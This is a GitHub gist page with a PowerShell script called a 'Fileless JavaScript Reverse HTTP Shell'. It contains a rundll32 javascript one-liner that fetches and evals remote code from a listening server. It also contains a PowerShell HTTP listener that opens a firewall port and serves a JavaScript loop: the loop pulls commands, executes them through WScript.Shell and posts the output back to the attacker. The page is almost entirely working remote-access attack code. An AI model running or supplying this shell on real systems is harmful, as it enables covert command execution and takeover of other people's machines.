Skip to content

Instantly share code, notes, and snippets.

@Malayke
Created March 11, 2016 04:47
Show Gist options
  • Save Malayke/c5a9628bd49b1b4514a3 to your computer and use it in GitHub Desktop.
Save Malayke/c5a9628bd49b1b4514a3 to your computer and use it in GitHub Desktop.
Fileless JavaScript Reverse HTTP Shell
<#
Author: Casey Smith @subTee
License: BSD3-Clause
.SYNOPSIS
Simple Reverse Shell over HTTP. Execute Commands on Client.
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://127.0.0.1/connect",false);h.Send();B=h.ResponseText;eval(B)
Listening Server IP Address
#>
$Server = '127.0.0.1' #Listening IP. Change This.
function Receive-Request {
param(
$Request
)
$output = ""
$size = $Request.ContentLength64 + 1
$buffer = New-Object byte[] $size
do {
$count = $Request.InputStream.Read($buffer, 0, $size)
$output += $Request.ContentEncoding.GetString($buffer, 0, $count)
} until($count -lt $size)
$Request.InputStream.Close()
write-host $output
}
$listener = New-Object System.Net.HttpListener
$listener.Prefixes.Add('http://+:80/')
netsh advfirewall firewall delete rule name="PoshRat 80" | Out-Null
netsh advfirewall firewall add rule name="PoshRat 80" dir=in action=allow protocol=TCP localport=80 | Out-Null
$listener.Start()
'Listening ...'
while ($true) {
$context = $listener.GetContext() # blocks until request is received
$request = $context.Request
$response = $context.Response
$hostip = $request.RemoteEndPoint
#Use this for One-Liner Start
if ($request.Url -match '/connect$' -and ($request.HttpMethod -eq "GET")) {
write-host "Host Connected" -fore Cyan
$message = '
var id = window.setTimeout(function() {}, 0);
while (id--) {
window.clearTimeout(id); // Clear Timeouts
}
while(true)
{
h = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
h.Open("GET","http://'+$Server+'/rat",false);
h.Send();
c = h.ResponseText;
r = new ActiveXObject("WScript.Shell").Exec(c);
var so;
while(!r.StdOut.AtEndOfStream){so=r.StdOut.ReadAll()}
p=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
p.Open("POST","http://'+$Server+'/rat",false);
p.Send(so);
}
'
}
if ($request.Url -match '/rat$' -and ($request.HttpMethod -eq "POST") ) {
Receive-Request($request)
}
if ($request.Url -match '/rat$' -and ($request.HttpMethod -eq "GET")) {
$response.ContentType = 'text/plain'
$message = Read-Host "JS $hostip>"
}
[byte[]] $buffer = [System.Text.Encoding]::UTF8.GetBytes($message)
$response.ContentLength64 = $buffer.length
$output = $response.OutputStream
$output.Write($buffer, 0, $buffer.length)
$output.Close()
}
$listener.Stop()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment